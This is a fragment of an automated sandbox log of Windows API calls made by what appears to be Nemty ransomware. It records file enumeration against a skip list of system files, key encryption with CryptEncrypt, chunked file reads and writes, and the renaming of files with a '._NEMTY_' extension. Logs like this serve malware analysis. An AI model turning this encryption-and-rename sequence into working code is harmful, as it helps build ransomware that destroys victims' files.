lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0119.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0119.814] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0119.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0119.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0119.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0119.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401e0 | out: hHeap=0x4f90000) returned 1 [0119.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0119.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.815] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82d978f8, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82d978f8, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b071a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x8b, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_divider_right.png", cAlternateFileName="")) returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2=".") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="..") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="...") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="windows") returned -1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="$RECYCLE.BIN") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="rsa") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="NTDETECT.COM") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="ntldr") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="MSDOS.SYS") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="IO.SYS") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="boot.ini") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="boot.ini") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="AUTOEXEC.BAT") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="ntuser.dat") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="desktop.ini") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="CONFIG.SYS") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="RECYCLER") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="BOOTSECT.BAK") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="bootmgr") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="programdata") returned 1 [0119.815] lstrcmpiW (lpString1="settings_divider_right.png", lpString2="appdata") returned 1 [0119.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_right.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0119.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_right.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider_right.png", lpUsedDefaultChar=0x0) returned 26 [0119.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0119.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_right.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0119.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.815] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_right.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider_right.png", lpUsedDefaultChar=0x0) returned 26 [0119.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0119.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_right.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0119.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0119.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_right.png", cchWideChar=26, lpMultiByteStr=0x4f9ecb8, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider_right.png", lpUsedDefaultChar=0x0) returned 26 [0119.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_right.png", cchWideChar=26, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 26 [0119.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0119.816] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="settings_divider_right.png", cchWideChar=26, lpMultiByteStr=0x4f9ed08, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="settings_divider_right.png", lpUsedDefaultChar=0x0) returned 26 [0119.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401e0 [0119.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0119.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340298 [0119.816] Sleep (dwMilliseconds=0x5) [0119.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfb10e610, dwHighDateTime=0x1d561e7)) [0119.821] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xfb10e610, dwHighDateTime=0x1d561e7)) [0119.821] GetLastError () returned 0x5 [0119.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0119.821] GetLastError () returned 0x5 [0119.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0119.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0119.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0119.822] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0119.822] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0119.822] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0119.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340350 [0119.822] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340350, pcchString=0x653e91c | out: pszString="0N3mTv5qWxWsUcc8t7w0OEHpQPOl5dr3/EnF5MdS4n9LvCTTyNaUzAXRDP52m7tS\r\n5oi1QT7hAsSM9FN/JaBqpGlvAeZbS+ZfdGw6Tf5hidD8EiV5cyHphS1hall1Mv2d\r\nbZMnB+M+RhSV9KGV+2rcGeUHPdo6d/fHXnxF72YxL+FaRuFfiR9I24Tgb9aFS7gM\r\nbRYQlGroDlAtJ5HF2tRWolOQHbWtQDCrZvL0XGDHCOLy0jcKUPh+bIOaGym3z0X6\r\nx1gyahky8k52KjEEvgllW90a+0j25UZuWdob2bZ1q3XXHR+jXNcusoBiAjPARh8C\r\nrXejQMObsVBLc+ZGaSS6ug==\r\n", pcchString=0x653e91c) returned 1 [0119.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0119.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0119.822] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0119.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0119.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340350 [0119.822] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0119.822] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider_right.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0119.823] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0119.823] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0119.823] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.823] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.832] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.832] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.842] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.842] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.842] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.851] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.851] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.852] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.861] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.861] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.861] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.871] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.871] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.871] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.880] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.880] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.880] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.889] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.889] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.890] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.899] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.899] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.899] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.908] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.908] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.909] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.909] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.918] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.918] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.918] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.924] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.924] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.924] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0119.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.930] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0119.930] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340350, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0119.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0119.930] CloseHandle (hObject=0xffffffff) returned 0 [0119.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63404c0 [0119.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0119.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0119.930] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0119.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0119.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0119.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6343fe8 [0119.930] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63440b0 [0119.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0119.930] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0119.930] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider_right.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider_right.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Clock.Gadget\\images\\settings_divider_right.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\clock.gadget\\images\\settings_divider_right.png._nemty_kgobjgd_")) returned 0 [0119.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440b0 | out: hHeap=0x4f90000) returned 1 [0119.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404c0 | out: hHeap=0x4f90000) returned 1 [0119.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0119.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340350 | out: hHeap=0x4f90000) returned 1 [0119.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0119.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0119.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0119.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340298 | out: hHeap=0x4f90000) returned 1 [0119.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0119.931] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0119.931] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82dbda55, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82dbda55, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28b2d301, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2b9, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="settings_left_disabled.png", cAlternateFileName="")) returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2=".") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="..") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="...") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="windows") returned -1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="$RECYCLE.BIN") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="rsa") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="NTDETECT.COM") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="ntldr") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="MSDOS.SYS") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="IO.SYS") returned 1 [0119.931] lstrcmpiW (lpString1="settings_left_disabled.png", lpString2="boot.ini") returned 1 [0119.931] lstrcmpiW 